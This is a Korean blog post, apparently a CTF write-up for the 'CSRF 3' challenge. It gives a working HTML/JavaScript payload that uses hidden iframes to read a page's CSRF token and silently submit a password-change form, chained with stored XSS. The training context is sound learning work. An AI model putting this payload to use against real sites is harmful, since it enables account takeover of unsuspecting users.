우선 페이지는 1,2와 같다.
게시글의 XSS 또한 똑같이 통함을 확인 하였다.
다만 회원정보 수정페이지에서 다른점을 발견하였다.
CSRF토큰이 존재한다는 것이다.
따라서 이 CSRF토큰을 가져와 같이 전송을 하기 위해서 우리는 iframe창을 두개를 만들어 하나는 CSRF토큰을 로드하고 나머지 하나는 CSRF토큰을 삽입한 폼을 전송 할 것이다.
<!--CSRF토큰을 가져오는 iframe-->
<iframe src="http://ctf.segfaulthub.com:7777/csrf_3/mypage.php" id="getCSRFToken" onload="token()" style="display:none">
</iframe>
<!--form을 전송하는 iframe-->
<iframe name="CSRF_attack" style="display:none;" onload="ex()">
</iframe>
<!--전송할 form-->
<form action="http://ctf.segfaulthub.com:7777/csrf_3/mypage_update.php" method="POST" target="CSRF_attack">
<input type="hidden" name="pw" value="1234">
<input type="hidden" name="csrf_token" value="">
</form>
<!--JS코드작성-->
<script>
function token() {
//CSRF토큰 가져오기
var csrfToken = document.getElementById('getCSRFToken').contentWindow.document.querySelector('input[name="csrf_token"]').value;
//CSRF토큰을 form에 넣기
document.querySelector('form').querySelector('input[name="csrf_token"]').value = csrfToken;
//form전송
document.forms[0].submit();
}
//alert 함수를 빈함수로 변경
function ex(){
var iframeWindow = document.querySelector('iframe[name="CSRF_attack"]').contentWindow;
iframeWindow.alert = function() {};
}
</script>
'Nomaltic's Hacking Traning!!' 카테고리의 다른 글
CSRF_1,2 문제풀이 (0) | 2023.05.25 |
---|---|
XSS 7 (0) | 2023.05.17 |
XSS 3 (0) | 2023.05.12 |
DB데이터 추출 1,2,3 문제 풀이정리 (0) | 2023.05.02 |
DB 데이터 추출 3_blind sqli 이진탐색 (0) | 2023.05.01 |